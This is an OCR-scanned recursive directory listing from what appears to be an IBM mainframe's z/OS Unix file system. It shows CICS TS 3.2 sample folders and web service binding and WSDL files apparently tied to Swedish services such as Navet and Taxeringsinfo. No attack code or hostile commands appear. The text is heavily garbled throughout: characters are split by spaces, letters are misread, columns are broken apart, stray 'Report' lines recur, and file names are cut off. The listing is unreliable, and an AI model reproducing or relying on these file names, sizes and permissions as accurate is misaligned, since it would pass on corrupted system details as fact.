- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 9 0 8  Mar 5 1 7 : 2 8 runEJBIVP 

. / SYS TEM/ tmp / a 0 / c i c st s / c i c s t s 3 2 / s ampl e s / e j b /hel loworld/ IBM : 
total  2 0 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 8 1 6 4 Mar 5 1 7 : 2 8 OFJÖH 0 7 3  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 6 3 0 9  Mar 5 1 7 : 2 8 OFJÖH 0 7 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 1 8 0 3 Mar 5 1 7 : 2 8 OFJÖH 0 7 5  
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- rwxrwxr-x  l SUPERUSR D 3 8 4  4 9 0 8  Mar 5 1 7 : 2 8 DFJÖH 1 4 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 3 3 9  Mar 5 1 7 : 2 8 DFJÖH 1 4 3  

. / SYS TEM/ tmp / a 0 / c ic st s / ci cs t s 3 2 / s amp l e s / j dbc : 
total  8 0  
- rwxrwxr-x  l SUPERUSR D3 8 4  7 2 5 6  Mar 5 1 7 : 2 8 C I C SDB2 DataSource . j ar 
- rwxrwxr-x  l SUPERUSR D3 8 4  5 9 4 4  Mar 5 1 7 : 2 8 C I C SDataS ourcePub l i sh . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 8 7 9  Mar 5 1 7 : 2 8 C I C SDataSourceRet ract . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  5 5 7 2  Mar 5 1 7 : 2 8 C I C S j dbcDataSource . j ava 
drwxrwxr-x  2 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 

. / SYSTEM/ tmp/ a 0 / c i c st s / ci c s t s 3 2 / s ampl e s / j db c / I BM :  
total  6 4  
- rwxrwxr-x  l SUPERUSR D 3 8 4  4 8 7 9  Mar 5 1 7 : 2 8 DFJÖH 1 3 6  
- rwxrwxr-x  l SUPERUSR D 3 8 4  5 9 4 4  Mar 5 1 7 : 2 8 DFJÖH 1 3 7  
- rwxrwxr-x  l SUPERUSR D 3 8 4  5 5 7 2  Mar 5 l 7 : 2 8 DFJÖH 1 3 8  
- rwxrwxr-x  l SUPERUSR D 3 8 4  7 2 5 6  Mar 5 1 7 : 2 8 DFJÖH 1 3 9  

. / SYSTEM/ tmp / a 0 / c i c st s / c i c st s 3 2 / s ampl e s /pipe l ines : 
total  9 6  
drwxrwxr-x  2 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 7 8  Mar 5 1 7 : 2 8 bas i c soap l lprovider . xml 
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 5 4 Mar 5 1 7 : 2 8 bas i c soap l l reque s ter . xml 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 0 8 8 0  Mar 5 1 7 : 2 8 provi der . xsd  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 0 2 0 9  Mar 5 1 7 : 2 8 reque ster . xsd  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 8 5 9  Ma r 5 1 7 : 2 8 wsatprovider . xml 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 6 7 8  Mar 5 1 7 : 2 8 wsatreque ster . xml 

. / SYSTEM/ tmp / a 0 / c i c st s / c i c s t s 3 2 / s ampl e s /pipel ine s / I BM :  
total  8 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 0 8 8 0  Mar 5 1 7 : 2 8 DFJÖH 1 8 8  
- rwxrwxr-x  l SUPERUSR D3 8 4  1 0 2 0 9  Mar 5 1 7 : 2 8 DFJÖH 1 8 9  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 7 8  Mar 5 1 7 : 2 8 DFJÖH 1 9 0  
- rwxrwxr-x  l SUPERUSR D 3 8 4  2 5 4  Mar 5 1 7 : 2 8 DFJÖH 1 9 1  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 8 5 9  Mar 5 1 7 : 2 8 DFJÖH2 0 7  
- rwxrwxr-x l SUPERUSR D 3 8 4  1 6 7 8  Mar 5 1 7 : 2 8 DFJÖH2 0 8  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /use routputc la s s : 
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total  1 6  
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 com 

. / SYS TEM/ tmp / a 0 / c ic s t s / ci c s t s 3 2 / s ampl e s /use routputclas s / com :  
total  1 6  
drwxrwxr-x  3 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 ibm 

. / SYS TEM/ tmp / a 0 / c i cst s / ci c s t s 3 2 / s ampl e s /use routputc las s / com/ ibm : 
total  1 6  
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 c i c s  

Report 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /use routputclas s / com/ ibm/ c i c s : 
total  1 6  
drwxrwxr-x  3 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s ample s  

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s /use routputclas s / com/ ibm/ c ic s / sample s : 
total  8 8  
drwxrwxr-x  2 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 6 0 8  Mar 5 1 7 : 2 8 S JMergedS tream . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 3 1 9  Mar 5 1 7 : 2 8 S JStream . j ava 
- rwxrwxr-x  l SUPERUSR D 3 8 4  8 6 5 5  Mar 5 1 7 : 2 8 S JTas kStream . j ava 

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /u se routputclas s / com/ ibm/ cic s / s ample s / IBM :  
total  7 2  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 6 0 8  Mar 5 1 7 : 2 8 DFJÖH 1 6 6  
- rwxrwxr-x  l SUPERUSR D 3 8 4  8 6 5 5  Ma r 5 1 7 : 2 8 DFJÖH 1 6 7  
- rwxrwxr-x  l SUPERUSR D 3 8 4  1 1 3 1 9  Mar 5 1 7 : 2 8 DFJÖH 1 7 3  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /webservice s : 
total  6 4  
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 JCL 
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 c l ient  
drwxrwxr-x  4 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 wsbind 
drwxrwxr-x  3 SUPERUSR D 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 wsdl 

. / SYS TEM/ tmp / a 0 / c ic s t s / c i c s t s 3 2 / s ampl e s /webservice s / JCL : 
total  3 2  
drwxrwxr-x  2 SUPERUSR D 3 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 I BM 
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- rwxrwxr-x  
- rwxrwxr-x  

l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  

4 6 3 Mar 5 1 7 : 2 8 L S 2WS 
6 7 1  Mar 5 1 7 : 2 8 WS 2LS  

Report 

. / SYSTEM/ tmp / a 0 / c icst s / ci c s t s 3 2 / s ampl e s /webservice s / JCL / IBM :  
total  1 6  
- rwxrwxr-x  
- rwxrwxr-x  

l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  

4 6 3 Mar 5 1 7 : 2 8 OFJÖH 1 9 6  
6 7 1  Mar 5 1 7 : 2 8 OFJÖH 1 9 7  

. / SYSTEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s /webservice s / cl i ent : 
total  2 2 6 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  5 2 1 7 6  Mar 5 1 7 : 2 8 O i spatchOrderV6 . ear  
- rwxrwxr-x  l SUPERUSR 03 8 4  5 8 6 9 2 9  Mar 5 1 7 : 2 8 ExampleAppCl i ent . ear 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 8 5 6 6 7 Mar 5 1 7 : 2 8 ExampleAppCl i entV6 . ea r  
- rwxrwxr-x l SUPERUSR 0 3 8 4  5 0 4 2 2  Mar 5 1 7 : 2 8 ExampleAppOi spatchOrder . ear  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 6 6 0 7 7  Mar 5 1 7 : 2 8 Examp leAppWrapperCl ient . ear  
drwxrwxr-x  2 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /web service s / cl i ent/ IBM :  
total  2 2 4 8  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 8 6 9 2 9  Mar 5 1 7 : 2 8 OFJÖH2 2 0  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 0 4 2 2  Mar 5 1 7 : 2 8 OFJÖH2 2 1  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 6 6 0 7 7  Mar 5 1 7 : 2 8 OFJÖH2 2 2  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 8 5 6 6 7 Mar 5 1 7 : 2 8 OFJÖH2 2 5  
- rwxrwxr-x l SUPERUSR 0 3 8 4  5 2 1 7 6  Mar 5 1 7 : 2 8 OFJÖH2 2 6  

. / SYSTEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s /web service s /wsbind : 
total  3 2  
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 provider 
drwxrwxr-x  3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 reque ster  

. / SYSTEM/ tmp/ a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s /webservices /wsb ind/provider : 
total  1 3 6  
drwxrwxr-x 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x l SUPERUSR 03 8 4  3 8 0 8  Mar 5 1 7 : 2 8 di spatchOrderEndpoint . wsbind 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 5 5 2 Mar 5 1 7 : 2 8 inqu i reCatalog . wsbind 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  5 4 0 0  Mar 5 1 7 : 2 8 inqu i reCatalogWrapper . wsbind 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 4 8 8  Mar 5 1 7 : 2 8 inqu i re S ingle . wsbind 
- rwxrwxr-x l SUPERUSR 0 3 8 4  4 7 3 6  Mar 5 1 7 : 2 8 i nqu i re S ingleWrapper . w sbind 
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- rwxrwxr-x  
- rwxrwxr-x  

l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  

6 2 4 0  Mar 
4 1 7 6  Mar 

Report 

5 1 7 : 2 8 p laceOrde r . wsbind 
5 1 7 : 2 8 p laceOrde rWrapper . wsb i nd 

. / SYSTEM/ tmp / a 0 / c i c s t s / ci cs t s 3 2 / s ampl e s /web services /wsbind/provide r / IBM : 
total  1 2 0  
- rwxrwxr-x  l SUPERUSR 03 8 4  3 8 0 8  Mar 5 1 7 : 2 8 OFJÖH2 0 2  
- rwxrwxr-x  l SUPERUSR 03 8 4  8 5 5 2  Mar 5 1 7 : 2 8 OFJÖH2 0 3  
- rwxrwxr-x  l SUPERUSR 03 8 4  8 4 8 8  Mar 5 1 7 : 2 8 OFJÖH2 0 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  6 2 4 0  Mar 5 1 7 : 2 8 OFJÖH2 0 5  
- rwxrwxr-x  l SUPERUSR 03 8 4  5 4 0 0  Mar 5 1 7 : 2 8 OFJÖH2 1 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  4 7 3 6  Mar 5 1 7 : 2 8 OFJÖH2 1 5  
- rwxrwxr-x l SUPERUSR 03 8 4  4 1 7 6  Mar 5 1 7 : 2 8 OFJÖH2 1 6  

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s ampl e s /webservices /wsbind/ requeste r : 
total  8 8  
drwxrwxr-x  2 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 03 8 4  3 8 0 8  Ma r 5 1 7 : 2 8 di spatchOrder . wsbind 
- rwxrwxr-x  l SUPERUSR 03 8 4  8 4 8 8  Mar 5 1 7 : 2 8 inqu i reCatalogC l i ent . wsbind 
- rwxrwxr-x  l SUPERUSR 03 8 4  8 4 3 2 Mar 5 1 7 : 2 8 inqu i re S i ngleCl ient . wsbind 
- rwxrwxr-x  l SUPERUSR 03 8 4  6 1 8 4  Mar 5 1 7 : 2 8 p l aceOrderC l i ent . wsbind 

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /web services /wsbind/ reques te r / IBM : 
total  7 2  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  3 8 0 8  Mar 5 1 7 : 2 8 OFJÖH2 0 6  
- rwxrwxr-x l SUPERUSR 0 3 8 4  8 4 8 8  Mar 5 1 7 : 2 8 OFJÖH2 1 7  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  8 4 3 2 Ma r 5 1 7 : 2 8 OFJÖH2 1 8  
- rwxrwxr-x  l SUPERUSR 03 8 4  6 1 8 4  Mar 5 1 7 : 2 8 OFJÖH2 1 9  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /webservice s /wsdl : 
total  2 4 8  
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 03 8 4  6 9 2 7  Mar 5 1 7 : 2 8 di spatchOrder . wsdl  
- rwxrwxr-x  l SUPERUSR 03 8 4  2 2 8 7 6  Mar 5 1 7 : 2 8 inqui reCatalog . wsdl 
- rwxrwxr-x  l SUPERUSR 03 8 4  1 4  9 1 1  Mar 5 1 7 : 2 8 i nqu i reCatalogWrapper . wsdl 
- rwxrwxr-x  l SUPERUSR 03 8 4  2 2 8 4 5  Mar 5 1 7 : 2 8 i nqu i re S i ngle . wsdl  
-rwxrwxr-x  l SUPERUSR 0 3 8 4  1 2 7 7 5  Mar 5 1 7 : 2 8 inqu i re S ingleWrapper . w sdl 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 5 0 3 2  Mar 5 1 7 : 2 8 p laceOrde r . w sdl 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  9 5 4 1  Mar 5 1 7 : 2 8 p laceOrde rWrapper . wsdl  
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. / SYSTEM/ tmp / a 0 / c ic st s / c i c s t s 3 2 / s ampl e s /webservice s /wsdl / IBM : 
total  2 3 2  
- rwxrwxr-x  l SUPERUSR 03 8 4  6 9 2 7  Mar 5 1 7 : 2 8 OFJÖH 1 9 8  
- rwxrwxr-x  l SUPERUSR 03 8 4  2 2 8 7 6  Mar 5 1 7 : 2 8 OFJÖH 1 9 9  
- rwxrwxr-x  l SUPERUSR 03 8 4  2 2 8 4 5  Mar 5 1 7 : 2 8 OFJÖH2 0 0  
- rwxrwxr-x  l SUPERUSR 03 8 4  1 5 0 3 2 Mar 5 1 7 : 2 8 OFJÖH2 0 1  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 4  9 1 1  Mar 5 1 7 : 2 8 OFJÖH2 1 1  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  1 2 7 7 5  Mar 5 1 7 : 2 8 OFJÖH2 1 2  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  9 5 4 1  Mar 5 l 7 : 2 8 OFJÖH2 1 3  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s ampl e s /ws - trus t :  
total  4 8  
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 I BM 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 2 5 1  Mar 5 1 7 : 2 8 dfhÅwbx2 t ran s formati on l . xs l  
- rwxrwxr-x  l SUPERUSR 03 8 4  4 2 5 1  Mar 5 1 7 : 2 8 dfhÅwbx2 tran s formation2 . xs l  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s ampl e s /ws - trus t / IBM : 
total  32  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 2 5 1  Mar 5 1 7 : 2 8 OFJÖH 2 3 2  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  4 2 5 1  Mar 5 1 7 : 2 8 OFJÖH2 3 3  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emc i ca3 : 

. / SYSTEM/ tmp/ a 0 / c i c st s / ci c s t s 3 2 / s emci ca4 : 
total  7 2  
- rwx- - - - - - l SUPERUSR 0 3 8 4  5 8 0  Mar 5 1 7 : 2 8 aedit 
drwxrwxrwx 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 conf ig  
drwxrwxrwx 4 SUPERUSR 03 8 4  8 1 9 2 Mar 5 1 7 : 2 8 s he l f  
drwxrwxrwx 4 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 wsbind 
drwxr-xr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 wsdl  

. / SYSTEM/ tmp / a 0 / c ic st s / ci cs t s 3 2 / s emci ca4 / config : 
total  3 2  
-rwxrwxr-x  l SUPERUSR 0 3 8 4  2 5 2 Mar 5 1 7 : 2 8 bas i c s oap l l reque s ter . xml 
- rwxrwxrwx l SUPERUSR 0 3 8 4  2 6 5 Mar 5 1 7 : 2 8 s e rviceProvider . xml 
- rwxrwxrwx l SUPERUSR 0 3 8 4  2 8 9  Mar 5 1 7 : 2 8 s e rvi ceReques ter . xml 
-rwxrwxrwx l SUPERUSR 03 8 4  2 6 5 Mar 5 1 7 : 2 8 spsoapprovide r . xml 
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. / SYS TEM/ tmp / a 0 / c ic st s / ci c s t s 3 2 / s emci ca4 / shel f :  
total  3 2  
drwxr-xr-x  
drwxrwxrwx 

3 SUPERUSR 0 3 8 4  
3 SUPERUSR 0 3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 SEMC I CA4 
8 1 9 2 Ma r 5 1 7 : 2 8 SEMC I CH l  

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emci ca4 / shel f / SEMC ICA4 : 
total  1 6  
drwxr-xr-x  4 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 P I PEL INE 

. / SYSTEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emci ca4 / she l f / SEMC I CA4 / P I PELINE : 
total  3 2  
drwxr-xr-x  
drwxr-xr-x  

2 SUPERUSR 03 8 4  
2 SUPERUSR 0 3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 P IRQ l l 
8 1 9 2 Mar 5 1 7 : 2 8 S P P I PE O l  

Report 

. / SYS TEM/ tmp / a 0 / c i c st s / ci cs t s 3 2 / s emcica 4 / she l f / SEMC ICA4 / P I PELINE / P I RQ1 1 :  
total  8 
- rwxr-xr-x  l SUPERUSR 0 3 8 4  2 8 9  Mar 5 1 7 : 2 8 s e rvi ceReque s ter . xml 

. / SYSTEM/ tmp / a 0 / c ic s t s / ci c s t s 3 2 / s emci ca4 / she l f / SEMC ICA4 / P I PELINE / S P P I PE 0 1 : 
total  8 
- rwxr-xr-x  l SUPERUSR 0 3 8 4  2 6 5 Mar 5 1 7 : 2 8 s e rviceProvider . xml 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emcica 4 / she l f / SEMC ICH1 : 
total  1 6  
drwxrwxrwx 3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 P I PELINE 

. / SYS TEM/ tmp / a 0 / c i c s t s / ci cs t s 3 2 / s emcica 4 / she l f / SEMC ICH1 / P I PELINE : 
total  1 6  
drwxrwxrwx 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 S P P I PE O l  

. / SYSTEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s emcica 4 / shel f / SEMC I CH1 / P I PELINE / S P P I PE 0 1 : 
total  8 
- rwxrwxrwx l SUPERUSR 0 3 8 4  2 6 5 Ma r 5 1 7 : 2 8 s e rviceProvider . xml 

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s emcica 4 /wsbind : 
total  3 2  
drwxr-xr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 p rovider 
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drwxrwxrwx 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 reque ster  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emci ca4 /wsbind/provider : 
total  O 

. / SYSTEM/ tmp / a 0 / c i c st s / c i c s t s 3 2 / s emcica 4 /wsbind/ requester : 
total  5 5 2  

Report 

-rw- r - - r - - l SUPERUSR 03 8 4  1 5 5 7 8 4  Mar 5 1 7 : 2 8 NAVETSERVICERl . wsbind 
-rwxrwxrwx l SUPERUSR 03 8 4  5 9 1 6 0 Ma r 5 1 7 : 2 8 REGNRSOKSERVICE . wsbind 
- rw-r- -r- - l SUPERUSR 03 8 4  1 4 3 3 6  Mar 5 1 7 : 2 8 TAXERINGS INFOSERVICERl . wsbind .... 
- rwxrwxrwx l SUPERUSR 0 3 8 4  4 4 4 3 2 Mar 5 1 7 : 2 8 TELE . wsbind 

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emci ca4 /wsdl : 
total  1 6 8  
- rwxr-xr-x  l SUPERUSR 0 3 8 4  1 7 9 2 2  Mar 5 1 7 : 2 8 BF . w sdl 
- rw- r - - - - - l SUPERUSR 03 8 4  4 3 9 0 Mar 5 1 7 : 2 8 NavetServi ceRl_prod . ws dl 
- rw- r - - - - - l SUPERUSR 03 8 4  2 3 6 4 1  Mar 5 1 7 : 2 8 NavetServiceRl schema l . xsd  
- rw- r - - - - - l SUPERUSR 03 8 4  2 0 6 7 Mar 5 1 7 : 2 8 Taxer ings infoServi ceRl_prod . wsdl 
- rw-r- - - - - l SUPERUSR 0 3 8 4  2 0 6 3 Mar 5 1 7 : 2 8 Taxer ings infoServiceRl_prod . wsdl . bo rt 
-rw- r - - - - - l SUPERUSR 0 3 8 4  4 4 0 7 Mar 5 1 7 : 2 8 Taxerings infoServi ceRl_� chema l . xsd  
-rw- - - - - - - l SUPERUSR 03 8 4  1 2 9 9 1 Mar 5 1 7 : 2 8 TeleOnlineService . wsdl --

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emc i ch l : 
total  7 2  
- rwx- - - - - - l SUPERUSR 0 3 8 4  5 8 0  Mar 5 1 7 : 2 8 aedit 
drwxrwxrwx 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 conf ig  
drwxrwxrwx 3 SUPERUSR 03 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 she l f  
drwxrwxrwx 4 SUPERUSR 03 8 4  8 1 9 2 Ma r 5 1 7 : 2 8 wsbind 
drwxrwxr-x  2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 w sdl 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emc i ch l / config : 
total  32  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 5 2 Mar 5 1 7 : 2 8 bas i c soap l l reque s ter . xml 
- rwxrwxrwx l SUPERUSR 0 3 8 4  2 6 5 Mar 5 1 7 : 2 8 s e rviceProvider . xml 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 8 9  Mar 5 1 7 : 2 8 s e rvi ceReques ter . xml 
- rwxrwxr-x  l SUPERUSR 0 3 8 4  2 6 5 Mar 5 1 7 : 2 8 spsoapprovide r . xml 

. / SYSTEM/ tmp/ a 0 / c ic st s / ci c s t s 3 2 / s emc i ch l / she l f : 
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total  1 6  
drwxr-xr-x  3 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 SEMC I CHl  

. / SYSTEM/ tmp / a 0 / c i c s t s / ci cs t s 3 2 / s emci chl / she l f / SEMC I CH1 : 
total  1 6  
drwxr-xr-x  4 SUPERUSR D3 8 4  8 1 9 2 Mar 5 1 7 : 2 8 P I PEL INE 

. / SYS TEM/ tmp / a 0 / c i c s t s / c i c s t s 3 2 / s emci ch l / she l f / SEMC ICH1 / P I PELINE : 
total  3 2  
drwxr-xr-x  
drwxr-xr-x  

2 SUPERUSR D3 8 4  
2 SUPERUSR D 3 8 4  

8 1 9 2 Mar 
8 1 9 2 Mar 

5 1 7 : 2 8 P I RQ l l 
5 1 7 : 2 8 S P P I PE O l  

Report 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emci ch l / shel f / SEMC I CH1 / P I PELINE / P I RQ 1 1 :  
total  8 
- rwxr-xr-x  l SUPERUSR D3 8 4  2 8 9  Mar 5 1 7 : 2 8 s e rvi ceReque s ter . xml 

. / SYSTEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emci ch l / shel f / SEMC I CH1 / P I PELINE / S P P I PE 0 1 : 
total  8 
- rwxr-xr-x  l SUPERUSR D 3 8 4  2 6 5 Mar 5 1 7 : 2 8 s e rviceProvider . xml 

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c s t s 3 2 / s emci ch l /wsbind : 
total  3 2  
drwxr-xr-x  
drwxrwxrwx 

2 SUPERUSR D 3 8 4  
2 SUPERUSR D 3 8 4  

8 1 9 2 Mar 5 1 7 : 2 8 p rovider  
8 1 9 2 Mar 5 1 7 : 2 8 reque s ter  

. / SYS TEM/ tmp / a 0 / c i c s t s / ci c st s 3 2 / s emci ch l /wsbind/provide r : 
total  O 

. / SYSTEM/ tmp/ a 0 / c i c s t s / ci cs t s 3 2 / s emci ch l /wsbind/ reque s ter : 
total  5 6 0  
- rw- r - - r - - l SUPERUSR D 3 8 4  1 5 5 7 8 4  Mar 
- rwxr -xr-x  l SUPERUSR D3 8 4  5 9 1 6 0 Mar 
-rw-r - -r - - l SUPERUSR D3 8 4  4 0 7 2  Mar 
- rw-r - -r- - l SUPERUSR D 3 8 4  1 4 3 3 6  Mar 
- rw-r - -r - - l SUPERUSR D3 8 4  4 4 4 3 2 Mar 

. / SYS TEM/ tmp / a 0 / c i c st s / ci c s t s 3 2 / s emc i ch l /wsdl : 
total  2 0 0  

5 1 7 : 2 8 NAVET SERVICERl . wsbindl 
5 1 7 : 2 8 REGNRSOKSERVI CE . wsbind 
5 1 7 : 2 8 S PARNAMNSOAP . wsbind 
5 1 7 : 2 8 TAXERINGS INFOSERVICERl . wsbi� 
5 1 7 : 2 8 TELE . wsbind 
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- rwxr -xr-x  l SUPERUSR 0 3 8 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  
-rwxrwxrwx l SUPERUSR 0 3 8 4  
- rwxrwxrwx l SUPERUSR 0 3 8 4  
- rwxrwxr-x  l SUPERUSR 03 8 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  
- rwxrwxr-x  l SUPERUSR 0 3 8 4  
- rw- - - - - - - l SUPERUSR 03 8 4  
- rw- r - - - - - l SUPERUSR 03 8 4  
- rw- r - - - - - l SUPERUSR 0 3 8 4  

. / SYSTEM/trnp / a l : 
total  2 8 8  
-rw-rw-rw- l SUPERUSR 0 3 8 4  

. / SYS TEM/ trnp/rnnt : 
total  O 

. / SYSTEM/ trnp/ newvar : 
total  O 

. / SYSTEM/ trnp / s l a s k :  
total  7 0 9 6  
drwxr-xr-x  2 SUPERUSR S Y S l  
- rw- r - -r - - l SUPERUSR 0 3 8 4  

. / SYS TEM/ trnp / s las k/ IBM : 
total  5 5 4 4 
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR SY S l  
- rwxr-xr-x  l SUPERUSR S Y S l  
- rwxr-xr-x  l SUPERUSR S Y S l  

Report 

1 7 9 2 2  Mar 5 1 7 : 2 8 BF . w sdl 
4 3 9 1 Mar 5 1 7 : 2 8 NavetServiceRl . ws dl 
4 3 9 4 Mar 5 1 7 : 2 8 NavetServi ceRl . ws dl . prod 

2 3 6 4 1  Ma r 5 1 7 : 2 8 NavetServi ceRl s cherna l . xsd 
2 0 6 5 Mar 5 1 7 : 2 8 Taxer ings infoServiceRl . wsdl 
2 0 6 4 Mar 5 1 7 : 2 8 Taxerings infoServi ceRl . wsdl . o ld  
4 4 0 7  Mar 5 1 7 : 2 8 Taxerings infoServi ceRl s cherna l . xsd  

-

1 2 9 9 1 Mar 5 1 7 : 2 8 TeleOnl ineService . wsdl  
1 9 5 3  Mar 5 1 7 : 2 8 sparnarnnSOAP . wsdl 
2 0 6 7 Mar 5 1 7 : 2 8 taxer ings info servicerl  prod . a srnx 

1 4 3 8 5 6  Mar 5 1 7 : 1 9 i rrdp sds 

8 1 9 2 Oct  1 6  
3 6 2 4 9 6 0  Nov 7 

4 7 8 0 0 3  Nov 6 
